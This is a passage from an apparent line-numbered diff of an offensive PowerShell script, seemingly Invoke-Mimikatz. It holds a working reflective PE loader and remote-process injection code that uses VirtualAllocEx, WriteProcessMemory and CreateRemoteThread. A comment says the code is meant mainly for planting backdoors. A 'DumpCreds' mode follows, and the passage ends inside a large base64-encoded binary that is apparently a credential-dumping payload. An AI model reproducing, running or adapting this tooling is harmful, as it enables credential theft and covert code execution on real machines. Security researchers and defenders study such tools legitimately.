23562356 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
23572357 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
23582358 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2359
2359
23602360 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
23612361 }
23622362 else
23632363 {
23642364 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2365
2365
23662366 if ($PEInfo.PE64Bit -eq $true)
23672367 {
23682368 #Shellcode: CallDllMain.asm
23802380 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
23812381 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
23822382 $SCPSMemOriginal = $SCPSMem
2383
2383
23842384 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
23852385 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
23862386 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
23912391 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
23922392 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
23932393 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
2394
2394
23952395 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
23962396 if ($RSCAddr -eq [IntPtr]::Zero)
23972397 {
23982398 Throw "Unable to allocate memory in the remote process for shellcode"
23992399 }
2400
2400
24012401 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
24022402 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
24032403 {
24102410 {
24112411 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
24122412 }
2413
2413
24142414 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
24152415 }
24162416 }
24432443 }
24442444 }
24452445 }
2446
2446
24472447 return @($PEInfo.PEHandle, $EffectivePEHandle)
24482448 }
2449
2450
2449
2450
24512451 Function Invoke-MemoryFreeLibrary
24522452 {
24532453 Param(
24552455 [IntPtr]
24562456 $PEHandle
24572457 )
2458
2458
24592459 #Get Win32 constants and functions
24602460 $Win32Constants = Get-Win32Constants
24612461 $Win32Functions = Get-Win32Functions
24622462 $Win32Types = Get-Win32Types
2463
2463
24642464 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2465
2465
24662466 #Call FreeLibrary for all the imports of the DLL
24672467 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
24682468 {
24692469 [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
2470
2470
24712471 while ($true)
24722472 {
24732473 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
2474
2474
24752475 #If the structure is null, it signals that this is the end of the array
24762476 if ($ImportDescriptor.Characteristics -eq 0 `
24772477 -and $ImportDescriptor.FirstThunk -eq 0 `
24902490 {
24912491 Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
24922492 }
2493
2493
24942494 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
24952495 if ($Success -eq $false)
24962496 {
24972497 Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
24982498 }
2499
2499
25002500 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
25012501 }
25022502 }
2503
2503
25042504 #Call DllMain with process detach
25052505 Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
25062506 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
25072507 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
25082508 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2509
2509
25102510 $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
2511
2512
2511
2512
25132513 $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
25142514 if ($Success -eq $false)
25152515 {
25232523 $Win32Functions = Get-Win32Functions
25242524 $Win32Types = Get-Win32Types
25252525 $Win32Constants = Get-Win32Constants
2526
2526
25272527 $RemoteProcHandle = [IntPtr]::Zero
2528
2528
25292529 #If a remote process to inject in to is specified, get a handle to it
25302530 if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
25312531 {
25492549 $ProcId = $Processes[0].ID
25502550 }
25512551 }
2552
2552
25532553 #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
25542554 #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
25552555 # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
25562556 # {
25572557 # Write-Verbose "Getting SeDebugPrivilege"
25582558 # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2559 # }
2560
2559 # }
2560
25612561 if (($ProcId -ne $null) -and ($ProcId -ne 0))
25622562 {
25632563 $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
25652565 {
25662566 Throw "Couldn't obtain the handle for process ID: $ProcId"
25672567 }
2568
2568
25692569 Write-Verbose "Got the handle for the remote process to inject in to"
25702570 }
2571
2571
25722572
25732573 #Load the PE reflectively
25742574 Write-Verbose "Calling Invoke-MemoryLoadLibrary"
26192619 {
26202620 Throw "Unable to load PE, handle returned is NULL"
26212621 }
2622
2622
26232623 $PEHandle = $PELoadedInfo[0]
26242624 $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
2625
2626
2625
2626
26272627 #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
26282628 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
26292629 if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
26642664 {
26652665 Throw "VoidFunc couldn't be found in the DLL"
26662666 }
2667
2667
26682668 $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
26692669 $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
2670
2670
26712671 #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
26722672 $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
26732673 }
2674
2674
26752675 #Don't free a library if it is injected in a remote process
26762676 if ($RemoteProcHandle -eq [IntPtr]::Zero)
26772677 {
26862686 Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
26872687 }
26882688 }
2689
2689
26902690 Write-Verbose "Done!"
26912691 }
26922692
27002700 {
27012701 $DebugPreference = "Continue"
27022702 }
2703
2703
27042704 Write-Verbose "PowerShell ProcessID: $PID"
2705
2705
27062706
27072707 if ($PsCmdlet.ParameterSetName -ieq "DumpCreds")
27082708 {
27192719
27202720 [System.IO.Directory]::SetCurrentDirectory($pwd)
27212721
2722 $PEBytes64 = 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LSwRIjQ3RHAoATIvHRIlMJCAz0uj+dQAARItLCEiNDQcdCgBMi8dEiUwkIDPS6OR1AABEi0sMSI01HeX//0GD+QdIjQ0yHQoATIvHG8Az0kEjwUiLhMYwsgkASIlEJChEiUwkIOitdQAARItLEEiNDVYdCgBMi8dEiUwkIDPS6JN1AABMi8dIjQ2FHQoAM9LognUAAEiNSxRIhcl0BehkyAAASI0NmR0KAOhodQAARItLHEiNDZEdCgBMi8dEiUwkIDPS6E51AABEi0sgQYP5BHMKSouMzhCyCQDrB0iNDbsiCgBIiUwkKEyLx0iNDagdCgBEiUwkIDPS6Bh1AABEi0skSI0N4R0KAEyLx0SJTCQgM9Lo/nQAAESLSyhIjQ0XHgoATIvHRIlMJCAz0ujkdAAARItLLEiNDU0eCgBMi8dEiUwkIDPS6Mp0AABMi0s0SI0Nex4KAEyLxzPS6LV0AABMi0tYSI0Nnh4KAEyLxzPS6KB0AABMi0tMSI0NwR4KAEyLxzPS6It0AABMi0tASI0N5B4KAEyLxzPS6HZ0AABMi0tkSI0NBx8KAEyLxzPS6GF0AABMi8dIjQ0rHwoAM9LoUHQAAItTbEiLS3DorMMAAEiNDWkcCgDoOHQAAESLSyRIjQ0xHwoATIvHM9LoI3QAAESLQyS5AQAAAEiLU3jotQEAAEiLXCRASIt0JEhIg8QwX8PMSIvESIlYEEiJaBhIiXAgSIlICFdBVEFVQVZBV0iD7CBIi/JBi+hBi9BMi/Ez/0jB4gONT0D/FYkLCQBIiQZIhcAPhLEAAABFM+RFM+1BjXwkAYXtD4SsAAAARTP/hf8PhJMAAAC6HAAAAEGL3UkD3o1KJP8VSwsJAEyL8EiFwHQ6SIsDTI1DCEmJBkmNTghBi1YETIkBQosEAkGJRhBIjUIESQPASYlGFOjqxwAAQYtWEEmNThTo3ccAAEiLBk2JNAdNhfZ0FkiLBkGDxQxJiwwHi0EQA0EERAPo6wIz/0yLdCRQQf/ESYPHCEQ75Q+Caf///4X/dQ5Iiw6L1egmAAAASIMmAEiLXCRYi8dIi2wkYEiLdCRoSIPEIEFfQV5BXUFcX8PMzMxIhcl0dkiJXCQISIlsJBBIiXQkGFdIg+wgSIvxhdJ0PkiL+YvqSIsfSIXbdCdIi0sISIXJdAb/FSgKCQBIi0sUSIXJdAb/FRkKCQBIi8v/FRAKCQBIg8cISIPtAXXHSIvO/xX9CQkASItcJDBIi2wkOEiLdCRASIPEIF/DRYXAD4TRAAAASIlcJAhIiWwkEEiJdCQYV0iD7DBIi9pIhdIPhJ0AAABFhcAPhJQAAACNLAlBi/hIizNMjQVaGAoAi9VIjQ1NHQoA6AxyAABIhfZ0Y0SLDkyNBT0YCgCL1USJTCQgSI0NUx0KAOjqcQAATItOCEyNBR8YCgCL1UiNDXIdCgDo0XEAAEyNBQoYCgCL1UiNDYUdCgDovHEAAItWEEiLThToGMEAAEiNDdUZCgDopHEAAEiDwwhIg+8BD4Vy////SItcJEBIi2wkSEiLdCRQSIPEMF/DzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CC6FAAAAEyL8Y1KLP8VFwkJAEiL2EiFwA+EbgEAAEmLFkmNdghIiRBIi9ZEi0AETQPGSTvwcxKLSAiLAv/BSAPQiUsISTvQcvGDewgAD4Q5AQAAi1MIuUAAAABIweID/xXECAkASIlDDEiFwA+EGgEAADPtOWsID4YPAQAAi0MESQPGSDvwD4MAAQAAumwAAACNStT/FY8ICQBIi/hIhcAPhM4AAAAPEAZIjVYsDxEADxBOEA8RSBDyDxBGIPIPEUAgi04oSIlQLIlIKIvBiwwQSIPABEgD0IlPNEiJVzhEi8FJg8AETAPCiwwRTIlHRIvRiU9ASIPCBEkD0EKLDAFEi0cciU9MSIlXUESLDBFMjVEETAPSRIlPWEyJV1xFhcB0FUGLyUiNV2SD4QFJA8pJA8noLfz//4tXKEiNTyzoucQAAItXNEiNTzjorcQAAItXQEiNT0ToocQAAItXTEiNT1DolcQAAItXWEiNT1zoicQAAEiLQwxIiTzo/8WLBkgD8DtrCA+C8f7//0iLbCRYSIvDSItcJFBIi3QkYEiDxCBBX0FeQV1BXF/DzEiFyQ+EvwAAAEiJXCQISIl0JBBXSIPsIEiDeQwASIvZD4SKAAAAM/Y5cQh2eUiLQwxIizzwSIX/dGVIi08sSIXJdAb/FfsGCQBIi084SIXJdAb/FewGCQBIi09ESIXJdAb/Fd0GCQBIi09QSIXJdAb/Fc4GCQBIi09cSIXJdAb/Fb8GCQBIi09kSIXJdAiLVxzoSvz//0iLz/8VpQYJAP/GO3MIcodIi0sM/xWUBgkASIvL/xWLBgkASItcJDBIi3QkOEiDxCBfw8zMzEiJXCQIV0iD7DBIi/pMjQUYFQoAM9JIjQ2zGgoA6MpuAAAz20iF/3RvRIsPTI0F+RQKADPSRIlMJCBIjQ3fGgoA6KZuAABEi08ETI0F2xQKADPSRIlMJCBIjQ0RGwoA6IhuAABEi08ITI0FvRQKADPSSI0NQBsKAOhvbgAAOV8IdhZIi1cMi8NIixTC6BMAAAD/wztfCHLqSItcJEBIg8QwX8PMSIlcJAhIiXQkEEiJfCQYQVZIg+wwSIvaSI01aRQKAL8CAAAASI0NIRsKAEyLxovX6BNuAABIhdsPhNQBAABEiwtIjQ1EGwoATIvGRIlMJCCL1+jxbQAARItLBEiNDZoVCgBMi8ZEiUwkIIvX6NdtAABEi0sITI01EN3//0GD+QdIjQ0lFQoATIvGi9cbwEEjwUmLhMYwsgkASIlEJChEiUwkIOigbQAATIvGSI0NkhUKAIvX6I9tAABIjUsMSIXJdAXoccAAAEiNDaYVCgDodW0AAESLSxRIjQ2eFQoATIvGRIlMJCCL1+hbbQAARItLGEGD+QRzCkuLjM4QsgkA6wdIjQ3IGgoASIlMJChMi8ZIjQ21FQoARIlMJCCL1+glbQAARItLHEiNDe4VCgBMi8ZEiUwkIIvX6AttAABEi0sgSI0NJBYKAEyLxkSJTCQgi9fo8WwAAESLSyRIjQ1aFgoATIvGRIlMJCCL1+jXbAAATItLLEiNDYgWCgBMi8aL1+jCbAAATItLOEiNDeMWCgBMi8aL1+itbAAATItLREiNDQYXCgBMi8aL1+iYbAAATItLUEiNDSkXCgBMi8aL1+iDbAAATIvGSI0NTRcKAIvX6HJsAACLU1hIi0tc6M67AABIjQ2LFAoA6FpsAABEi0scSI0NUxcKAEyLxovX6EVsAABEi0Mci89Ii1Nk6Nr5//9Ii1wkQEiLdCRISIt8JFBIg8QwQV7DSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsILo4AAAASIvxjXoIi8//FbgDCQBIi9hIhcB0dQ8QBo1X7IvPDxEA8g8QThBIg8YY8g8RSBCLaBRIiXAYDxAELvMPf0Ag/xWBAwkASIv4SIXAdC4PEEQuEEiNSCQPEQAPEEwuIA8RSBCLVC4wiVAgSI1WNEgD1UiJEYtQIOgfwAAAi1MUSI1LGEiJezDoD8AAAEiLbCQ4SIvDSItcJDBIi3QkQEiLfCRISIPEIEFew8xIiVwkCEiJbCQQV0iD7DBIi9pIjT1/EQoATIvHSI0N6RkKADPS6C5rAABIhdsPhAMBAABEiwtIjQ3/GQoATIvHRIlMJCAz0ugMawAATIvHSI0NHhoKADPS6PtqAABIjUsE6KK+AABIjS0XEwoASIvN6ONqAABMi0sYSI0NFBoKAEyLxzPS6M5qAACLQyhIjQ0oGgoARItLIEyLx4lEJCgz0otDJIlEJCDoq2oAAEiLWzBIhdt0eEyLx0iNDTwaCgC6AgAAAOiOagAASIXbdF9Mi8dIjQ1bGgoAugIAAADodWoAAEiLy+gdvgAASIvN6GVqAABMi8dIjQ1XGgoAugIAAADoUWoAAEiNSxDo+L0AAEiLzehAagAASItTJLkCAAAA6P4pAABIi83oKmoAAEiLzegiagAASItcJEBIi2wkSEiDxDBfw8zMM8BBu0tEQk1BuktTU01FOVkMdR1Bg3kIAg+FogAAAEGDeRQQD4WXAAAAQQ8QQRjrIEU5URAPhYYAAABBgXkggAAAAHV8QYN5JBB1dUEPEEEo8w9/AUGLyEGDfAkENHJhRTlcCRB1KLgBAAAAQTlECQx1GUGDfAkYIHURQQ8QRAkcDxECQQ8QTAks6zEzwMNFOVQJFHUrQYF8CSQAAQAAdSBBg3wJKCB1GEEPEEQJLLgBAAAADxECQQ8QTAk8DxFKEMPMzEiJXCQISIlsJBhWV0FWSIPsILpIAAAASIvpjUr4/xXtAAkASIvYSIXAD4QtAQAADxBFAEiNSChMjUUoDxEATI1zNA8QTRAPEUgQ8g8QRSDyDxFAIItQJEyJAUKLBAKJQzBJjUAESAPCSYkG6HS9AACLUzBJi87oab0AAItLMEi4q6qqqqqqqqpI9+G5QAAAAEjB6gODexAEiVM8g9IASMHiA/8VaAAJAEiJQ0BIhcAPhKcAAABIi3wkSDP2OXM8dlu6KAAAAI1KGP8VQQAJAEiLS0BIiQTxSIXAdDlJiwZIjQx2i3yIBEiLQ0BIA/1IiwzwDxAH8w9/AUiLU0BIjU8Egz9kSA9Cz0iLFPJIg8EQ6F8AAAD/xjtzPHKlSIX/dDuDexAEczW6KAAAAI1KGP8V2/8IAEiLS0BIiQTxSIXAdBpIi1NAi08QSIPBFkgDz0iLFPLoGwAAAP9DPEiLbCRQSIvDSItcJEBIg8QgQV5fXsPMzEiJXCQIV0iD7CCLAUiL+olCEEiL2YXAdEL/yEiDwwWJQhCKQQSEwHQjg0IQ/IsTiVcchdJ0FilXEEiNTyBIg8MESIkZSAPa6CS8AACLVxBIjU8USIkZ6BW8AABIi1wkMEiDxCBfw8zMSIXJD4SoAAAASIlcJAhIiXQkEFdIg+wgSIvZSItJKEiFyXQG/xXS/ggASItLNEiFyXQG/xXD/ggASIN7QAB0WTP/OXs8dkhIi0NASIsM+EiFyXQ0SItJFEiFyXQG/xWZ/ggASItDQEiLDPhIi0kgSIXJdAb/FYL+CABIi0tASIsM+f8VdP4IAP/HO3s8crhIi0tA/xVj/ggASIvL/xVa/ggASItcJDBIi3QkOEiDxCBfw8zMSIlcJAhIiXQkEEiJfCQYQVRBVkFXSIPsQEiL+kyNNdkMCgBNi8ZIjQ2rFgoAM9LoiGYAAEiF/w+EKgIAAE2LxkiNDckWCgAz0uhuZgAASIvP6Ba6AABMjSWLDgoASYvM6FdmAABEi08QSI0N4BYKAE2LxkSJTCQgM9LoPWYAAE2LxkiNDRcXCgAz0ugsZgAASI1PFEiFyXQF6A65AABJi8zoFmYAAESLTxxIjQ0vFwoATYvGRIlMJCAz0uj8ZQAARItPIEiNDWUXCgBNi8ZEiUwkIDPS6OJlAABMi08oSI0NmxcKAE2LxjPS6M1lAABEi08wSI0NxhcKAE2LxkSJTCQgM9Los2UAAItPMEi+q6qqqqqqqqpIi8Yz20j34UjB6gNIhdJ0UUUzwEiLVzRPjQRAQotMggRCi0SCCEaLDIJNi8aJRCQ4M9KJRCQwiUwkKIlMJCBIjQ20FwoA6FtlAACLTzD/w0iLxkSLw0j34UjB6gNMO8JysjP2OXc8D4bcAAAARI1+AkiLR0BIjQ3+FwoATYvGQYvXSIsc8OgbZQAASIXbD4SqAAAARIsLSI0NJBgKAE2LxkSJTCQgQYvX6PhkAACLQwxIjQ1SFAoARItLBE2LxolEJChBi9eLQwiJRCQg6NRkAACDexwAdDBIg3sgAHQpTYvGSI0NERgKAEGL1+i1ZAAAi1McRTPASItLIOjWtgAASYvM6J5kAACDexAAdDBIg3sUAHQpTYvGSI0N+xcKAEGL1+h/ZAAAi1MQRTPASItLFOigtgAASYvM6GhkAAD/xjt3PA+CKP///0mLzOhVZAAASItcJGBIi3QkaEiLfCRwSIPEQEFfQV5BXMPMzMxIiVwkCEiJbCQQSIl0JBhXSIPsILoUAAAASIvxjUos/xXX+wgASIvYSIXAdHnyDxAG8g8RAItOCIlICIN4BAB0ZYtQBLlAAAAASMHiA/8VqfsIAEiJQwxIhcB0SkiDxgwz/zl7BHY/i0YEuUAAAACDwAiL0Ivo/xWA+wgASItLDEiJBPlIhcB0E0iLSwxEi8VIi9ZIiwz56EDoBgBIA/X/xzt7BHLBSItsJDhIi8NIi1wkMEiLdCRASIPEIF/DzMxIi8RIiVgISIloEEiJcBhIiXggQVZIg+wwSIv6SI0tlQkKAEG+AgAAAEiNDdwWCgBMi8VBi9boPWMAADPbSIX/D4T1AAAARIsPSI0NFBcKAEyLxUSJTCQgQYvW6BhjAABEi08ESI0NMRcKAEyLxUSJTCQgQYvW6P1iAABEi08ISI0NThcKAEyLxUSJTCQgQYvW6OJiAABIOV8MD4SbAAAASI0N/QoKAOjMYgAAOV8ED4aGAAAATIvFSI0NTRcKAEGL1uixYgAASItHDIvzSIsM8IsBg+gBdCyD6AF0HoP4AXQQixFIjQ2pFwoA6IhiAADrHkiNDXMXCgDrEEiNDUIXCgDrB0iNDREXCgDoaGIAAEiLRwxIixTwSI1KCItSBOi8sQAASI0NeQoKAOhIYgAA/8M7XwQPgnr///9Ii1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXsPMzEiJXCQQSIl0JBhIiXwkIFVBVkFXSIvsSIPsUDPbTYv5QYvwTIvyi/mB+QCAAAB1aYN9QAQPhUEBAABIjVXguXz/////FYP+CACFwA+IKgEAAEiLReBIjVXwM8n/UBCFwA+IFQEAAEiLReBNi8ZIi03wi9b/UBhIi0XgSYvXSItN8P9QIIXASI1N8EiLReAPmcP/UCjp4gAAAEG5GAAAAMdEJCAAAADwRTPASI1N+DPS/xUm8QgAhcAPhL0AAABIi034SI1F6EUzyUiJRCQgRTPAi9f/FdPwCACFwA+EjgAAAEiLTehFM8lEi8ZJi9b/FbDwCACFwHRtSItN6EyNTSBFM8CJXCQgQY1wAovW/xVp8AgAhcB0TotVII1OPv8VwfgIAEiL+EiFwHQ6SItN6EyNTSBMi8CJXCQgi9b/FTrwCACLTUBIi9c5TSCL2A9CTSBEi8FJi8/oaOUGAEiLz/8VR/gIAEiLTej/FSXwCABIi034M9L/FenvCABMjVwkUIvDSYtbKEmLczBJi3s4SYvjQV9BXl3DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFWQVdIg+wwQYvxTIvhM9u5A2YAAE2L8ESL+o1uDDvRdGCL1Y1LQP8VCvgIAEiL+EiFwHR7RIvGxwAIAgAASI1IDESJeARJi9aJcAjoxuQGAEiLRCR4RTPJSIlEJChEi8WLRCRwSIvXSYvMiUQkIP8VYu8IAEiLz4vY/xV/9wgA6y5Ii4QkgAAAAEiFwHQhRItMJHBEi8ZIiUQkKEmL1kiLRCR4SIlEJCDo5QoAAIvYSItsJFiLw0iLXCRQSIt0JGBIi3wkaEiDxDBBX0FeQVzDzMxIiVwkCEiJbCQQSIl8JBhBVEFWQVdIgexQAQAAM+1Bi9hEO4QkkAEAAE2L8UiL+kSL+UAPk8VEO4QkkAEAAHINRIuEJJABAADptAAAAEG8QAAAAEiNTCQwRYvEQY1UJPbo3+oGAEWLxEGNVCQcSI1MJHDozeoGAIXbdCRIjUwkMEyLw0grz0iNVCRwSCvXigcwBDkwBDpI/8dJg+gBde9MjYwksAAAAIlcJCBFi8RIjVQkMEGLz+jF/P//hcB0SkyNjCSwAAAAiVwkIEwDy0iNVCRwRYvEQYvP6KL8//+L6IXAdCWNDBs5jCSQAQAASI2UJLAAAAAPQowkkAEAAESLwUmLzug74wYATI2cJFABAACLxUmLWyBJi2soSYt7MEmL40FfQV5BXMPMzMxIiVwkIEiJTCQIVVZXSIvsSIPsMDP2TI1NKCF1KEUzwCF0JCCNVgb/FZvtCACFwA+E7QAAAItVKI1eQIvL/xX19QgASIv4SIXAD4TTAAAASItNIEyNTSghdCQgjVYGTIvA/xVh7QgAhcAPhLMAAABIi00gTI1NKCF0JCCNVgRFM8D/FUHtCACFwA+EhgAAAItVKIvL/xWe9QgASIvYSIXAdHNIi00gTI1NKCF0JCCNVgRMi8D/FQ7tCACFwHROSItNIEyNTSghdCQgTI1FMI1WEMdFKAQAAAD/FersCACFwHQqSItNIDPS/xXK7AgARItNMEiNTSBMi8PHRCQgEAAAAEiL1/8VNu0IAIvwSIvL/xXr9AgASIvP/xXi9AgAhfZ1FP8V+PQIAIvQSI0NhxIKAOg+XQAAi8ZIi1wkaEiDxDBfXl3DzMzMSIlcJBBIiXQkGFVXQVZIi+xIgeyAAAAAM9uJTdhNi/FIiV3gQYv4iV3oSIvySIld8ESNSxiJXfhFM8DHRCQgAAAA8DPSSI1NyP8VmewIAIXAD4QaAQAASItNyEiNRdBIiVwkMESLz0iJRCQoTIvGugJmAADHRCQgAAEAAOgj/P//hcAPhNwAAABMi0XQSI1FwEiLTchFM8m6CYAAAEiJRCQg/xUQ7AgAhcAPhKsAAABIi03ATI1F2EUzyY1TBf8V5OsIAIXAD4SFAAAARItFQEUzyUiLTcBJi9b/FdDrCACFwHRtSItNwI1zAovWiVwkIEyNTSBFM8D/FYrrCACFwHRPi1UgjUtA/xXi8wgASIv4SIXAdDtIi03ATI1NIEyLwIlcJCCL1v8VW+sIAItNUEiL1zlNIIvYD0JNIESLwUiLTUjoiOAGAEiLz/8VZ/MIAEiLTcD/FUXrCABIi03Q/xWb6wgASItNyDPS/xX/6ggATI2cJIAAAACLw0mLWyhJi3MwSYvjQV5fXcPMSIvESIlYIESJQBhIiVAQiUgIVVZXQVRBVUFWQVdIi+xIg+xwSYv5x0QkIAAAAPCL2UUz9kUzwEiNTegz0kWNThj/FRXrCACFwA+E4gEAAEiLTehIjUXgRTPJSIlEJCBFM8CL0/8VwuoIAIXAD4SzAQAASItN4EyNTdBEIXQkIEGNVgJFM8D/FXDqCACFwA+EhwEAAItdYEGNdkCLzkiJXfBIjVME/xW58ggASIlF+EyL4EiFwA+EYAEAAItV0IvO/xWe8ggATIv4SIXAD4RAAQAAi1XQi87/FYfyCABIi/BIhcAPhCABAABEi8NIi9dJi8xBvgEAAADoR98GAESLbXhBi8aJRdRFhe0PhPAAAACNUwSJVdhIi03wTYvMRItFUA/IQokEIYtF0ItNQIlEJDBIiXQkKIlUJCBIi1VI6DH9//9Ei0XQSIvWSYvP6PLeBgCLRWiLfdBBO8Z2a0SLZUCNWP9Ei21QSItVSEyLzol8JDBFi8VIiXQkKEGLzIl8JCDo7fz//4t90DPShf90EYoEMkIwBDpBA9aLfdA713Lvg72AAAAAAHQRRIvHSYvXSIvO6IzeBgCLfdBJK951qEyLZfhEi214SItNcEQ770mL10EPQv1Ei8eL3+hk3gYAi0XURCvvSAFdcEEDxotV2ESJbXiJRdRFhe0PhRb///9Ii87/FSPxCABJi8//FRrxCABJi8z/FRHxCABIi03g/xXv6AgASItN6DPS/xWz6AgAQYvGSIucJMgAAABIg8RwQV9BXkFdQVxfXl3DSIlcJAhIiXQkEEiJfCQgVUFUQVVBVkFXSIvsSIPscEUz9kmL+UGL2EyL+kiL8UWNZhBFO8QPhm8BAABMjU3ARTPAM9L/FbboCACFwA+EgAEAAEUzyUGNVgFMi8dIi87/FVvoCACFwA+EMQEAAI17D0WL7MHvBIPjD0QPReuD/wJ2MovHRTPJweAERTPAg+ggM9KJRUBIi85IjUVASIlEJChMiXwkIP8VROgIAIXAD4TqAAAAQY1FEESNZ/5Ei8BBweQESI1N2E0D54vYSYvU6CTdBgC4EAAAAEiNTdhBK8VIA8tEi8BIiUXIM9JIiU3Q6APkBgBIi03ASI1FQEiJRCQoRTPJSI1F2MdFQBAAAABFM8BIiUQkIDPS/xXQ5wgAhcB0evMPb03YTItFyEiNVdjzD29F6EiLTdBBi91mD+/ISAPT8w9/TdjoqtwGAEiNRUDHRUAQAAAASIlEJChFM8lIjUXoRTPAM9JIiUQkIEiLzv8VeOcIAESL8IXAdB8PEEXowecESI1V2ESLw/NBD38EJI1P8EkDz+ha3AYASItNwP8VgOcIAOsoQTvcdSNIjUVARIllQEiJRCQoRTPJRTPATIl8JCAz0v8VIecIAESL8EyNXCRwQYvGSYtbMEmLczhJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQQSIl0JCBXQVRBVUFWQVdIg+xgRTP/SYvBQYvYTIvySIvpRY1vEEU7xQ+GAwEAAEUzyUGNVwFMi8D/FYTmCACFwA+EIAEAAI17D0GL9cHvBIPjDw9F84P/AnY+i8dFM8nB4ARFM8CD6CAz0olEJDBIi82JhCSgAAAASI2EJKAAAABIiUQkKEyJdCQg/xV65ggAhcAPhM4AAACNRhBEjWf+RIvAQcHkBEiNTCRATQPmi9hJi9ToQtsGAEWLxUiNTCRARCvGSAPLM9LoLeIGALggAAAARTPJiUQkMEUzwImEJKAAAAAz0kiNhCSgAAAASIvNSIlEJChIjUQkQEiJRCQg/xUF5ggARIv4hcB0Wg8QRCRQwecESI1UJEBBK/1Ei8aLz0kDzvNBD38EJOjL2gYA6zVBO911MEiNhCSgAAAARIlsJDBIiUQkKEUzyUUzwEyJdCQgM9JEiawkoAAAAP8Vp+UIAESL+EyNXCRgQYvHSYtbMEmLazhJi3NISYvjQV9BXkFdQVxfw8zMzEiLxEiJWBBIiWgYSIlwIIlICFdIg+xQSYvpx0AIAQAAAEGL+MdAyAAAAPBIi/JIjUjwM9tFM8Az0kSNSxj/FUXlCACFwA+EiQAAAEiLTCRISI1EJE